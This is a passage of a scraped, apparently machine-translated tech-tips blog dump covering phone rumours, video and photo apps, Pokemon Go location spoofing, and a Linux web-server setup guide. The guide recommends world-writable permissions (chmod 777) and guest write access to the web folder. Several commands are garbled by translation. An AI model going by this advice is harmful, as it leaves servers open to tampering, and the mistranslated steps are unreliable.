the normal connection port. The idea of ​​an iPhone with a Smart Connector is not new, in fact it was predicted to appear on the iPhone 8, but never came true.\nThe Smart Connector has been used by Apple on iPads, helping to transfer data and power through accessories such as keyboards. However, the Smart Connector has never been used by Apple to replace conventional connectors such as lightning or USB-C. Therefore, the first use of Smart Connector on iPhone 2021 will be a huge change.\nAlthough it is not possible to confirm the reliability of the source, it is also confirmed that the iPhone 12 will be equipped with 3 rear cameras and 1 LiDAR sensor, smaller notch and a screen interface. The main has the widget.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKKnoaeemnpyfoymmLJlnqTBbrTAr5xmmV2qwKOvjKmmq6xdrLWquMRmq6GdXZ69qbvNnmRraGJmeri1y6Vkq52dpMOmedOhnGabn6O7pq%2FTqKk%3D\n","link":"/post/the-iphone-12-may-not-have-a-usb-c-port-while-the-iphone-2021-will-remove-the-connector/","section":"post","tags":null,"title":"The iPhone 12 may not have a USB-C port, while the iPhone 2021 will remove the connector"},{"body":"Currently, many of you are in need of video cutting to make youtube or share on social networks, and to be able to cut video, we will need specialized video editing software. But nowadays we have so many choices and you are wondering what software is good and suitable for your needs. So today Thuthuatphanmem.vn will introduce to you the top 5 best video cutting software today. Invite you to track!\nFomat Factory Software Download link: https://format-factory.en.softonic.com/download\n  Fomat Factory is known as a famous software for converting video, music, file formats. However, in addition to that main function, Fomat Factory also owns other outstanding functions, among them are the video cutting function during conversion and the Video Joiner function (merge multiple videos into 1). You can cut and join videos arbitrarily with just a few simple operations and the video quality after cutting is very high. This software supports all current video formats, so you can use it freely. It can be said that Fomat Factory is a very versatile software that can help you to cut, join, change video formats. Surely this will be the software you cannot ignore.\nCute Video Cuter Software Download link: http://www.videotool.net/video-cutter-free-version.htm\n  Cute Video Cuter is a specialized software for cutting and splitting videos. With features and interface quite simple and easy to use, users are very to get acquainted and manipulate on the software. Cute Video Cuter supports many different video formats such as AVI, DVD / SVCD / VCD, ASF, SWF, MP4 . etc. Especially after cutting video will be kept the original quality. If you want a specialized software for video cutting, this would be a better option.\nBoilsoft Video Joiner Software Download link: http://www.boilsoft.com/avi-mpeg-rm-joiner.html\n  Boilsoft Video Joiner allows you to merge videos in multiple formats into a single file while ensuring video quality and content. The program supports video formats such as MP4, MKV, MOV, FLV videos . in the process of joining users can change the quality, change the video extension after joining easily and quickly, the program Compatible on Windows operating systems. Boilsoft Video Joiner does not limit the number of videos to combine, can shuffle or rearrange videos into the exact sequence you want, especially with a friendly interface and very easy to use.\nUltra Video Splitter Software Download link: http://www.aone-soft.com/splitter.htm\n  Ultra Video Splitter is a specialized software for cutting, splitting video very well today. Ultra Video Splitter gives you many options to cut video like cut video by time, cut by size, etc. Ultra Video Splitter has the ability to split video into smaller segments while preserving the quality of the original video. In addition, you can also split the video containing subtitles while ensuring the subtitles are not biased. The program supports splitting most popular videos like AVI, WMV, ASF, RM, MOV, 3GP, MP4, FLV, DivX, XviD. With the advanced features, this will definitely be the application you are looking for\nUltra Video Joiner Software Download link: http://www.aone-soft.com/joiner.htm\n  Ultra Video Joiner is used to join videos of different formats into a single video. The program does not limit the number of paired videos, you can easily arrange the small videos to merge into one complete video. The program supports popular Video formats such as AVI, MP4, WMV, DivX, XivD, MPEG, VCD / SVCD, DVD . You can work with large files, high quality as videos HD without affecting the pairing speed of the Videos. In addition, the program also allows you to delete unwanted videos in the matched Video file. The software has an intuitive interface and is easy to use, even for first-time contacts.\nAbove are the top 5 best video cutting and joining applications in 2020 that Thuthuatphanmem.vn wants to share to you, hopefully through this article you will choose for yourself a software that suits your needs. Thank you for watching the article!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXq3tcOepmabpanBqrrGZqqonqSsrrOxjKymn6ynlr%2BmeZFpaWk%3D\n","link":"/post/top-5-best-video-cutting-software-software-2020/","section":"post","tags":null,"title":"Top 5 best video cutting software software 2020"},{"body":"The photo editing applications for iPhone and iPad have now become extremely rich and diverse. Many photo editing applications with basic to advanced editing features help users get artistic, unique pictures or break with fancy color filters. In the article below, Network Administrator will introduce you to the top image editing applications on iPhone.\n1. PhotoWonder for iOS: PhotoWonder is a unique photo editing application with professional color filters. Users can customize their preferences with basic color correction features such as lightening, color correction, etc. to help you get more artistic images.\n    PhotoWonder editing features:\nSupport multiple image filters with many different style themes. Basic image editing tools like image cropping, image rotation, color correction, . Provide many interesting icons and stickers for images. Many photo collage frames are included with photo compositing modes such as cutting images according to the available form, self-adjusting the collage image, . 2. Adobe Photoshop Express for iOS: From Adobe famous for image editing software, Adobe Photoshop Express gives users a professional image editing tool, many functions and free use.\n5 basic photo editing tips on Adobe Photoshop Express Users will select the image editing features that the application provides, then adjust the level of use such as lighting, color through the slider below. If not, users can also use the automatic image editing feature provided by the application.\nIn addition, after editing, you can share your photos on social networks or email them to friends.\n    Main features of Adobe Photoshop Express:\nProvides basic and advanced image editing features. Automatic photo editor with adjusting contrast, exposure and white balance. Color adjustment with arbitrary adjustment bar. More than 20 eye-catching, unique image editing effects. Share photos on social networks Facebook, Twitter, Tumblr and many other services. 3. Camera360 for iOS: Camera360 Ultimate for iOS attracts users by famous photo effects. You can use the camera available in the application or use the images available in the gallery on the device.\nFeatures of Camera360 Ultimate for iOS:\nProvide camera shooting with adjustable parameters when taking photos. Use your finger to get more accurate points. Provide continuous shooting mode with 180 images 1 minute. Support many photo effects for the face.    4. FotoRus for iOS: FotoRus provides unique photo collage with many different types of jigsaw. Each style will follow a simple frame to art for users to choose. Besides, the background image list is also a bright spot for FotoRus.\nMatch unique photos with FotoRus and SNOW apps FotoRus main features:\nMany different styles of collage frames. Photo collage effects with rich photo filters. Add weather effects and time. Can use multiple effects into the same image.    5. Perfect365 for iOS: Perfect365 is more about editing, make up faces with many different face makeup tools. The application uses a simple one-touch operation to change the portrait photo, create a selfie photo that attracts users.\nPerfect365's main features:\nProvides rich face correction and makeup modes. Apply advanced facial recognition technology. Support sharing photos with friends via social networks or sending photos via email.    6. LINE camera for iOS: The tendency to edit images that LINE focuses on is to provide users with cute icon sets. In addition, the application also provides many other stickers such as animal pictures, fashion accessories, .\nMain feature of LINE application:\nFashion filters to apply to images, then can customize exposure, contrast or saturation for images. Supports up to 100 different frames and 100 stickers. You can choose stickers like hearts, stars, flowers, jewelry, fruits, drinks, characters, animals, wigs, glasses, ribbons . Share photos on LINE, Facebook or other photo sharing services.    7. VSCO for iOS: VSCO is known for its Visual Supply filter designed for applications. It can be used and replaced completely for normal photography applications, owning editors such as tilt adjustment, focus, metering lock, .\nMain features of VSCO:\nWe can take photos with VSCO camera or use photos in albums to edit. Use a variety of photography tools such as focus, white balance, basic manual adjustment to take control when taking photos. VSCO filters apply automatically to images. Also you can adjust to reduce the color tone for images.     Above is the introduction of some image editing applications for iPhone or iPad. Each application has its own image editing style, as well as various photo editing tools. But they all create a completely new look for the image after applying. In particular, most photo editing applications now include the ability to edit images on social networks, or send messages and emails, helping you to share the fastest results to your friends.\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jJ%2Bpnp1dpbWwwM5mnJ2hpJ67qHnAqaeloZOWwaq7zWamp2WZpbWwusQ%3D\n","link":"/post/top-free-photo-editing-application-on-iphone/","section":"post","tags":null,"title":"Top free photo editing application on iPhone"},{"body":"Not only is Lamborghini's signature \"pit\" shape, the VX7 also has a strong configuration with Nvidia \"Enthusiast\" graphics card and Core i7 chip .\nIn addition to launching a number of tablet models, Asus has not forgotten to add to its laptop collection of special models at Computex 2010. After a laptop playing a \"terrible\" game, it has a design direction of stealth fighter ROG G53, Asus continues to unveil the Lamborghini-branded duo of ultraportable laptops, VX6 and VX7. The more compact VX6 model with an 11.6-inch screen is actually a netbook with a dual-core Atom D525 processor, USB 3.0 and 2 Nvidia Ion graphics cards.\nMeanwhile, the higher-end VX7 with 15.6-inch screen, Intel Core i7 processor, NVIDIA \"Enthusiast\" graphics card, and hard drive capacity up to 1.5 TB.\nBoth models come with glossy plastic casing, chiclet keyboard and Bang \u0026amp; Olfsen ICE premium speaker system.\nBelow is a picture of the Asus VX7 model .\n  The Vx7 has a glossy plastic case and Lamborghini logo on the lid.\n  The design reminiscent of the distinctive taillights of Lamborghini supercar.\n  This model has a 15.6-inch screen.\n  Chiclet keyboard.\n   Shortcut system on both sides.\n  VX7 viewed from behind.\n  Left edge of the machine.\n  Right side.\n  Machine hinge.\n  This is a product of cooperation between Asus and Lamborghini.\n  There is no information about the price and the launch time of this model.\nncG1vNJzZmismaXArq3KnmWcp51krrTB0maqrqiVp7CivoylmKaan6e0qbXNomSlmaCpvLE%3D\n","link":"/post/asus-supercar-lamborghini-laptop/","section":"post","tags":null,"title":"Asus 'supercar' Lamborghini laptop"},{"body":"Pokemonn Go is now a famous name like alcohol that is most sought after by gamers. But can we catch Pokemon on a computer? The answer is absolutely world. Thanks to the current emulator software such as Bluestacks, AndroidDroid4x, . gamers will be able to participate in the journey to catch Pokemon like other gamers right on the computer.\nBut you should note that the use of this simulator, Fake GPS can be detected and locked by Niantic account permanently, so it is recommended that users should not abuse or, best, play games on the phone .\nHow to play Pokemom Go on PC with emulator software In this article, we will use Bluestacks software to simulate the Android operating system on the computer. In addition, you also need to prepare more Fake GPS applications and APK files Pokemon Go will be guided in detail in the article below.\nDownload the free Bluestacks 2 software\nStep 1: First, start the Bluestacks software on your computer. With this latest version, you will immediately see FakeGPS Free application on the interface. Click that application to launch.\n  Step 2: A message board will appear, click OK to proceed.\n  After that, the application will make use requests , click Accept to agree to the terms.\n  Step 3: The map interface appears. Here, you click on the magnifying glass search icon right above the interface. Then, enter the address you want to play in the empty box and click Search .\n  Step 4: After that, the application will move to the location you search. Click on the white triangle icon in the yellow circle below to get Pokemon Go to download this area map.\n  Some cases you can not use Fake GPS Free application, you can switch to other location-based applications such as Fake GPS Pro .\n  You proceed to install this Fake GPS Pro application to use.\n  After installation is complete, you start the application. At the main interface, click the magnifying glass icon , type the location you want to find and click Search Location .\n  Once you find the correct location, press Set Location directly below to pin this location on the map.\n  Step 5: Next, go back to the interface of the emulator application, click on Pokemon Go game to install .\n  You wait for the order process. When successful, the icon of Pokemon Go will appear in the applications that we have installed as shown below.\n  Step 6: The rest is that we will enjoy super popular Pokemon Go game right on the computer only.\nAt the beginning, the application will introduce how to play to you. Since all operations will be done with the mouse, it is sometimes not as sensitive as when we played on the phone.\n  Step 7: Next, fill in your date of birth and click Submit .\n  Enter a personal account to play Pokemon Go on the computer.\n  Step 8: Wait a moment to download the game. If unfortunately the server is overloaded, turn it off and then open it again, wait patiently for a few minutes.\n  Once the game has been successfully downloaded, we can start right away and go to catch Pokemon. Downloading a game on the phone will be the same as when we play on the computer. The number of Pokemon you catch is the same.\n  Note to players, that all operations in the game use the mouse and key press so it will be slow and not as sensitive as on smartphones. Therefore, you need to accurately calculate the steps, especially the direction of the ball.\nIf you need to use a smartphone, you can become a Pokemon catcher. With the emulator software and the support of the Fake GPS navigation application, we can go everywhere, get Pokekmon like everyone else. Although every move in the game is not really fast, sometimes there is a lag situation, but it is worth it to try and experience this game on that computer.\nWish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51ksKK6jKmmpJ2dpLtus85mmZ5loKGuurHDZqanZZFisLC5z66rnqpdqbWmecCnqrCdomK2tHnYnqo%3D\n","link":"/post/can-pokemon-go-be-played-on-a-computer-the-answer-is-yes/","section":"post","tags":null,"title":"Can Pokemon Go be played on a computer? The answer is yes!"},{"body":"You can download the extension (Chrome extension) for the Remote Desktop Beta, which allows you to control remote computers.\n  Last Friday, Google released the Chrome Remote Destop beta, a software that controls remote desktop browsers for regular operating systems. Chrome Remote Destop Beta is very convenient for IT administrators to manage machines of employees who want to take care of their loved ones, or access remote PCs.\nAccording to Google's introduction, 'Chrome Remote Desktop Beta supports multiple platforms, so you can connect two free computers using the Chrome browser, including Windows, Linux, Mac and Chromebook.'\n  The new technology will boost Google's Chrome OS, which is partly aimed at organizations that want to reduce computer governance costs because remote management is an important factor to achieve that goal.\nHowever, this version is still limited because each time you reactivate the one-time authorization request: 'This version allows users to share or access other people's computers by providing a verification code only. be once only. '\nncG1vNJzZmismaXArq3KnmWcp51ksKm%2BzqacZpmcoby4v4yrnKanpJp6pLvMqaytnaJisLC606umpQ%3D%3D\n","link":"/post/chrome-allows-remote-computer-control/","section":"post","tags":null,"title":"Chrome allows remote computer control"},{"body":"SIMULACRA is a scary horror detective game developed by Kaigan Games, the sequel to the game Sara is Missing. The content of the game revolves around the investigation of the death of a mysterious woman through the mobile phone of the victim.\nIn the game, the player plays a journalist who helps detective Murilo solve the case. When the investigation process begins, you find the victim's lost phone, which contains a lot of important evidence, especially a desperate emergency video.\n  The task of the player is to use the skills of observation, judgment, logical thinking . to pair the information collected from the victim's phone to make the investigation easier.\nThe deeper it explores, the more the victim's phone reveals many unexpected details, hiding a gruesome murder plot.\nSIMULACRA is attractive to players because of the thriller-scary details, the characters in the game are filmed in real life in many different locations.\nThe game has a maximum of 5 endings, each of which a player's decision may come to a different end.\nCurrently, the developer of Kaigan Games is offering a free program for this attractive game on the App Store. If you love the genre of horror games, detective, quickly download this game for free before the promotion period ends.\nSIMULACRA - App Store :\u0026nbsp;https://apps.apple.com/gb/app/simulacra/id1252035454 ncG1vNJzZmismaXArq3KnmWcp51kva2xwKycZpyfrLutu8CdZKyhnaq5oq%2FRmmShp6KnvLN5xpqknmWjmK6zxYydnK2dk6m2t7GMn6arZZansqY%3D\n","link":"/post/download-simulacra-horror-game-scary-detective-for-free/","section":"post","tags":null,"title":"Download SIMULACRA, horror game, scary detective for free"},{"body":"This is the most famous number on the Internet: 140. It is the maximum number of characters you can use in a Tweet and it is a core feature for Twitter brand like #hashtags or hot topics.\nYou can argue that 140 characters are of Twitter and Facebook stole it. Although they are not direct, they are stealing ideas about this number by encouraging users to keep their 130-character statuses and most users don't realize it.\nInstructions for setting up Live Stream feature Facebook videos on mobile and tablet 13 useful shortcuts that Twitter users need to know The status of 130 new characters of Facebook You can post a large text status with colorful backgrounds on Facebook. Your timeline has some similar status, with such a post, you'll get more likes than usual.\nHow to post color status on Facebook computer However, these statuses must be brief. In this article we will go to find out how many characters posted in this form can contain up to how many characters. Look at the GIF image below:\n  This is not a standard copy of Twitter because Facebook does not have a Tweet-like countdown code on Twitter and you can still post statuses greater than 130 characters if you want.\n  The status with background color on Facebook is easy to attract the attention of users. When it appears on New Feeds, they are more likely to Like or Comment.\nSo Facebook is using the background color to encourage users to create brief status.\nIt seems Facebook created this change because they think this will encourage users to spend more time with Facebook. I guess: the status is shorter, the user will scroll more (swipe the screen) more. The more you see, the more opportunities to find interesting information, which means staying longer on Facebook, increasing the likelihood of clicking on ads, helping Facebook maintain growth as well as advantages in the system. ecological communication.\nThe brief is the soul of wisdom Twitter has changed a lot over the years but the 140-character article limit remains unchanged. For quite an interesting reason: keeping short tweets is a special thing that makes Twitter different from other social networks.\nThe restriction of 140 characters forces users to be creative. Users need to refine their thoughts, remove unnecessary words until they have enough words to ensure the meaning in the article, sometimes the results are surprising. Besides, such character limit helps users less cumbersome in content, thinking shorter.\n  The brevity is the soul of intellect and the 140 characters seem just enough, at least so far as related articles on Twitter. And Facebook, over the years, came to the same conclusion that it was less than 10 characters.\nWhy is 130? Perhaps their research shows that this is a better number, maybe they don't want to be a Twitter copy. Whatever the reason, it shows that Facebook has copied Twitter's core value. They tried to copy this feature publicly without anyone noticing.\nncG1vNJzZmismaXArq3KnmWcp51ks6KvxJumqKNdna60edKtpqWdnmLBqbGMm5ysrF2bsqLA1KucZqeWYsG4tdOtnKtlp57BqbvUrWSapqmku6Z5yqemsKGenA%3D%3D\n","link":"/post/facebook-has-stolen-the-best-feature-of-twitter-without-anyone-knowing/","section":"post","tags":null,"title":"Facebook has stolen the best feature of Twitter without anyone knowing"},{"body":"Mozilla fans can now enjoy faster JavaScript processing in the first version of Firefox 3.1 beta, as well as discover improvements in the Smart Location Bar application and the sleek interface of the shortcut switch. tab. The beta works well on Windows, Mac and Linux, the new JavaScript processing mechanism (called TraceMonkey) is disabled by default. To enable this feature, you need to type ' about: config ' into the Smart Bar box, and then enter \" javascript.options.jit.content \" into the filter box. Double-click on the results found to convert the boolean from 'false' to ' true '. Close the window and you will see an immediate improvement in JavaScript processing speed.\n  Firefox beta 3.1 introduces a new tab switch interface and plug-in deployment Geode geographic location. Photo: CNET .\nThe SunSpider JavaScript Benchmark test, Firefox 3.1 beta 1 completed the test in 2787.6 milliseconds - twice as fast as the current official version, Firefox 3.0.3 (completed in 5446.6 milliseconds).\nThe CTRL + Tab key switch for switching tabs now has a new interface, similar to Windows Vista's ALT + Tab application switch. Geode geolocation application is also added in FF3.1. Although Geode works, it is not always successful. You can limit your search to the Awesome Smart Bar by using special characters like '+' or '#', and can customize it in about: config . However, two highly anticipated features do not appear in this beta. Private Browsing (private browser mode), Mozilla's answer to Google Chrome's Incognito, and improved task management features are all absent. Some plug-ins are not compatible with the new tab switch utility, so the writer must turn them off. Using a plug-in to force other compatible plug-ins will make the browser unstable and error-prone, many people believe that this is just a trial anyway. However, if you want to experience the fastest version of Firefox ever, Firefox 3.1 beta 1 deserves your choice.\nncG1vNJzZmismaXArq3KnmWcp51ks6q%2BxJ%2BmsWWSmsGieZJqZKKrXZuutMDEq2StoJGjerex0aygqKZdaH0%3D\n","link":"/post/firefox-beta-3-1-is-faster-than-version-3-0/","section":"post","tags":null,"title":"Firefox beta 3.1 is faster than version 3.0"},{"body":"Curators are responsible for managing a museum, botanical garden, historic site or nature center. They are responsible for educating the public about history, science, art, or any number of fascinating topics. It can be an extremely...\nPart 1of 3:\nGetting Started  Understand the job. A museum curator is essentially a manager of the museum's collections and exhibits. In this job, you'll be responsible for a variety of different tasks, including:[1] Deciding the layout and content of new exhibits. Cataloging the museum's collections. Assisting in the preservation of materials. Delegating duties to other museum staff. Managing the museum budget. Giving talks or presentations to visitors. Assessing new materials.   Understand the educational requirements. At the very least, you'll need a bachelor's degree in museum studies or a related field. Most curators have master's or even Ph.D. degrees. This amounts to several years of work, so make sure you're ready to make that kind of commitment.[2]\n  Find a field that interests you. There are a multitude of different museums out there, all specializing in different topics. You may be interested in art, history, science, or sports. There are museums for all of these topics and more. When you decide what field you like, you can tailor your education and experience to that topic. Figuring this out early will make you a better job candidate and help you land the position you want.\n Part 2of 3:\nGetting the Education  Earn your bachelor's degree. This is the minimum requirement you'll need for entry into the curating field. Major in a field relevant to the type of museum you want to work in. Whether your interest is art history, anthropology, archaeology, etc., make sure you're educated in the field you want to specialize in. Consider business or marketing electives. Curators are often involved in the business side of running a museum. Gaining some experience with these tasks will not only bolster your application, but will also help you make your museum successful.[3]   Apply to a master's degree program. Although you may be able to enter the museum field with only a bachelor's, most curating positions require at least a master's degree.[4] Look for a program that offers a degree for your interest. Narrow down your field to make it as specific as possible. For example, art history is a broad topic. Focusing on Renaissance Italian art with make you a specialist. Look at the faculty at programs you're interested in. Confirm that there are professors who specialize in your field. This is important because you'll need an adviser to oversee your master's thesis.   Complete your master's degree. Meet all the degree requirements and write your master's thesis. Remember to make sure your thesis reflects your specialty. If you're looking to work in an American history museum, your thesis shouldn't be about medieval France.\n  Consider a second master's degree. It can give you an edge on the job market to have two master's degrees: one in your field of study and one in museum studies. That way you can demonstrate that you have expertise in the museum's specialty and also know how museums work.[5]\n  Consider earning a Ph.D. While a master's degree will suffice for many museums, some larger museums require curatorial applicants to hold doctorates in a specific field. Investigate museums you would be interested in working in and see the degree requirements. If all your choices require Ph.D.'s, you'll have to continue your studies.[6] Remember that a Ph.D. will require several more years of commitment. Confirm that this is still your preferred career before investing more time in your education.  Part 3of 3:\nGetting Experience  Get experience early. Education alone won't make you qualified to be a curator. Positions typically require several years of museum experience before applicants are even considered. Get ahead of the curve by getting museum experience as early as possible, ideally in college or even high school. That way, by the time you finish your education, you'll have years of experience under your belt to bolster your application.\n  Complete internships. Many museums and historical societies offer internships for high school and college students. These are a great way to get experience and make contacts in the museum field.[7] Do an internet search and see if museums or historical societies near you offer internships for students. If you're in college or graduate school, visit your department office or the career center and ask if they have any information on internships. Many schools have partnerships with nearby institutions to offer credit for students who intern with them. Remember at this early level, any experience is good for your resume. Don't pass up internship opportunities because they aren't strictly what you're interested in. You might even find a new interest you had not considered before. Some degree programs require internships. If so, great, but you shouldn't wait for your school to make you do an internship.   Volunteer at museums or historic sites. Even if institutions near you don't offer internships, most still need volunteers. There are a variety of jobs you can volunteer for and gain museum experience.\n  Work lower-level museum jobs. It is very unlikely you'll come right out of school with a position as a curator. You'll probably have to work a number of jobs before becoming a curator. You can start as a research associate or cataloger as an entry into the museum profession. Then after a few years, you may be able to work your way up to a curator position.[8][9] Don't be afraid to switch institutions. Many curators worked in a few museums before eventually rising to a curatorial position.   Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqVmLyusYyaZJytopbBsL4%3D\n","link":"/post/how-to-become-a-curator/","section":"post","tags":null,"title":"How to Become a Curator"},{"body":"If you are interested in building a home web server, the easiest way is to install Linux on the backup computer. Thanks to the simplicity of Linux, doing this is simple and gives you a reasonable way to host a website or blog. Here's how to set up a Linux web server.\nUsing an old computer to create Linux web server How to create your own web server with Linux 1. Find an old computer for the Linux web server 2. Install the Linux operating system 3. Install Linux web server software Check the web server!  Find the server's local IP address Share web folder Help Linux server online with Port forwarding Give Linux web server a static hostname How to create your own web server with Linux To build a Linux web server that can be run from home, you will need the hardware and the operating system. In addition, web server software and server access facilities from the Internet should be installed.\nThe article will be divided into 4 simple steps that you can follow to build your own Linux web server.\n1. Find an old computer that is no longer in use\n2. Install the Linux operating system\n3. Set up application web server software (Apache, PHP, MySQL)\n4. Access the server from the Internet\nLet's get It Started!\n1. Find an old computer for the Linux web server Before choosing a computer to use as a web server, you will need to know the minimum operating system requirements. Although Ubuntu is popular, it is not lightweight enough. Instead, Lubuntu 19.04 is a stronger option. This is a lighter alternative to Ubuntu, built on the same code.\nDownload Lubuntu 19.04. Lubuntu system requirements\nLubuntu 19.04 has a minimum requirement of:\nDual-core processor 512MHz or better (recommended is 1GHz, as opposed to 2GHz for Ubuntu) 4GB system memory 25GB of free hard drive space Select 32-bit version (for old PC) and 64-bit version You can have a suitable old PC somewhere in the house or buy a used one at a second hand store. It is worth noting that you can install Linux web server on the Raspberry Pi. This small computer costs less than $ 30 (690,000 VND) and is a smart choice if you have trouble with old hardware.\nAlso, don't limit it to older Windows PCs. Apple Macs and MacBooks from before 2006 with PowerPC processors can also run Linux.\nLike Ubuntu, Lubuntu supports many types of video cards, hard drives and other hardware. To check if the distribution works on the hardware you have selected, run the Live CD.\nIf you plan to run the server 24/7, make sure it is in a well-ventilated area. It is better to place it in an air-conditioned room in the summer, when the temperature is an enemy to your server.\n2. Install the Linux operating system   Installing Lubuntu is very simple. Just grab the ISO file and burn it to DVD or USB to get started.\nThese disk images have the latest software versions, so only a minor upgrade is required after installation. Use a 64-bit version if supported by the computer or a 32-bit version otherwise.\nWhen ready, insert the installation media into the computer and reboot. If you need to change the BIOS settings to boot from an optical drive or USB, do so. In some cases, a boot media selection menu may be opened.\nFor bootable installation media, choose Install Lubuntu. When prompted, select Download updates while installing and Install 3rd Party Software , then click Erase and Use the Entire Disk .\nNote that this step will delete all other operating systems you have on this computer. Follow the other options for each desired setting. Encrypting the Home directory is not the smart thing for a web server project. Restart after installation is completed.\nWhen rebooted, check for updates. Go to System\u0026gt; Administration\u0026gt; Update Manager\u0026gt; Install Updates . You may need to reboot after installing any updates.\n3. Install Linux web server software Although many alternatives are available, most websites run on a combination of Apache, MySQL and PHP (called LAMP). This is similar to what you should install on Windows.\nAll three tools can be installed via the Software Center. Launch this application via System\u0026gt; Administration\u0026gt; Synaptic Package Manager . This is where you install the software you need.\nSearch and install the following packages, each name will include different prerequisites: apache2, php5, php5-mysql and mysql-serve r. Apply changes to install packages.\nPackages will download and install shortly. The installer will prompt you to enter the MySQL 'root' password. No need to reboot.\nYou can replace installing these tools in the command line. Open Terminal then type:\nsudo apt install lamp-server^ -y    Check the web server! You can check the settings by opening the Firefox browser on your server and visiting the URL http://127.0.0.1/. Alternatively, enter http:/// localhost /.\nYou should see the message 'Itworks!' . That means your web server is running!\nBoth Apache and MySQL will run in the background and start booting. With the web server currently running, you can edit the files in / var / www. Just refresh the browser to see the changes live on the web.\nFind the server's local IP address While the server is active, it should be visible to the outside world. Therefore, it is important to keep the server updated with all the usual patches.\nFirst, find the server's local IP address and set it to something you will be able to refer to later. You will find the current IP address, specified by the router in the Network Information box .\nFind this information by clicking on the network connection, then select Connection Information. This will bring up a box with the current IP address, network adapter card, Broadcast address, port and DNS server. Please record the IP address.\nNext, edit the connection information to provide a static IP address on the local network. Right-click again, but this time go to Edit Connections. Select the appropriate adapter name (for example, eth1) and edit the settings.\nSelect the IPv4 tab and switch Method to Manual. Click Add then enter information from connection settings. However, note the IP address will need to be entered differently. Retains the first 3 octets (numbers between dots) but changes the last number to a higher number (below 254).\nIt is important that manually assigned IP addresses are not used on your network. If unsure, choose a high IP address like 250. This will be your local, static IP address.\nShare web folder Several options are available to access and upload files to the server. To illustrate the importance of directory permissions, consider sharing web directories as options.\nIt is important to use this method only if your server is on a private network. Make sure no one can connect to it and access your shared folder.\nStart by processing the permissions on the web directory. Open a terminal by pressing Ctrl + Alt + T , then type:\nsudo chmod 777 /var/www  You will be prompted for a password. If true, the rights will be updated.\nNow go to the file browser and find / var /. Right-click on the www folder and then select Sharing options and uncheck it. For security options, you can share it with or without a password. Select Guest access to share the folder without requiring a username and password.\nNow, you or anyone else will be able to access the files without a password. For this reason, sharing with passwords is recommended for security purposes. Also take a moment to check Allow others to create and delete files in this folder . This option gives you write access from the shared folder.\nTo view your file, visit the network location // localhost / www .\n  It will prompt for a password or allow you to access your files directly, depending on your security settings. These are the same files that can be accessed in the web browser via http:/// localhost / (or whatever static IP address you set).\nHelp Linux server online with Port forwarding Now that you have an IP address, another important concept to understand is port forwarding. Each person is connected to the Internet via an IP address. For most home connections (and many corporate connections), the computer's IP is not really exposed to the Internet.\nSo how do site visitors contact the server? This can be done with Port forwarding.\nThe gateway on the server is like the door of a house and has a security meaning. Each port will give you access to a different service running on the server. Web servers use port 80 by default.\nTo enable this feature, you will need to log into the router's administration page. Check the device's documentation for details on this (some routers have an IP address printed on the back). Here, you should find a section called Port Forwarding or Applications that allows you to forward ports properly.\nForward TCP port 80 into the network, to the static IP address you set earlier. Each router will be different, so refer to the router's manual for proper setup.\nGive Linux web server a static hostname Most home routers connect to an ISP via what is called dynamic IP. This means that the public IP address for the router will change after a set amount of time, usually a week or so.\nAlternatively, the DynDNS server allows you to set the DynDNS URL for your website. Thanks to the client, whenever the public IP address changes, the URL will still point to the Linux server.\nTherefore, visitors will be able to access your web server from outside by going to http://yourhostname.dyndns.org. Some ISPs will block port 80 to the router. In this case, forward something like port 8080 to port 80. This will allow you to access your website by going to http://yourhostname.dyndns.org:8080.\nNow that your web server is set up, you can focus on programming or installing your own software!\nPerhaps you will run the blog software or host a forum or bulletin board (where people share information). You might be more interested in hosting a social network like Mastodon, a portfolio, or whatever you want.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqlnrmlecuipa6wXayyo3nSnqmvnaJixKrAx2aYp2WfobFur86mp66slac%3D\n","link":"/post/how-to-build-linux-web-server-with-an-old-computer/","section":"post","tags":null,"title":"How to build Linux web server with an old computer"},{"body":"Operation to rotate horizontally or vertically the entire page of Word paper is extremely simple. Users just need to select Landscape mode if they want to rotate the paper size, or Portrait if you want to switch to the paper size. However, there are many cases where users only need to turn a single page horizontally, in the whole page on Word, so that it can be easily displayed in the diagram.\nAt this time, rotating the entire paper size above will not apply to this case. So how can you rotate a page in any way on Word, the remaining pages still follow the vertical rotation mode.\nStep 1: First of all to be able to rotate any page of paper in Word documents, we need to separate the page into a separate section, separate from the other pages in the text. This will prevent all pages in Word from rotating.\nI will take the example of a Word file with 3 pages and want to rotate across the 2nd page.\nPlace the cursor at the top of the text that you want to break the section, then select Page Layout\u0026gt; Break\u0026gt; Contiounus .\nIn this example, the second page I want to interrupt the section and want to rotate horizontally so I will place the mouse pointer at the top position and follow the above instructions.\n  Step 2: To check that the page has blocked the section break, click Insert\u0026gt; Header\u0026gt; Edit Header .\n  Two pages 1 and 2 of the text content have been made up of 2 separate sections.\n  Step 3: Continue to interrupt the section at the first position of the text page, immediately after the page needs to be horizontal. This will make the page within a single section.\nFor example, we place the mouse pointer at the top of the third page after the second page to rotate horizontally and click Page Layout\u0026gt; Break\u0026gt; Contiounus to pause the section.\nThus, you have finished splitting the page you want to rotate across the paper into a single section.\n  Step 4: Now just place your mouse anywhere on the page you want to rotate across the paper, separate the section then click on Page Layout\u0026gt; Orientation\u0026gt; Landscape to turn the page across.\n  When you click Print Preview , we will see the page has been rotated horizontally, completely different from the rest of the pages on Word.\n  The horizontal or vertical rotation of any page on Word has a complicated way of doing things. However, it is important that you need to split the page you want to rotate into a separate section, so that the rest of the pages in Word don't rotate horizontally.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCfp7a7u82tmKWkqWK%2FsMDArZxmmZ6uerGtxp5kqJ5dpa6xsdFmoKdlp6S%2FpQ%3D%3D\n","link":"/post/how-to-horizontally-rotate-any-page-of-paper-in-word/","section":"post","tags":null,"title":"How to horizontally rotate any page of paper in Word"},{"body":" Ubuntu users often need TrueType fonts for Open Office, Gimp, and other programs. Using this guide, you can either install one font at a time automatically or install multiple fonts manually. Note: If you are using KDE, double-clicking on...\nMethod 1of 3:\nGetting Font Viewer Root Privileges to Install a Font  Open a terminal window \n  Type \"sudo gnome-font-viewer and hit enter (replace with the path to the font file you want to install!)\n  Enter your user password when prompted \n  Click \"Install\". Job 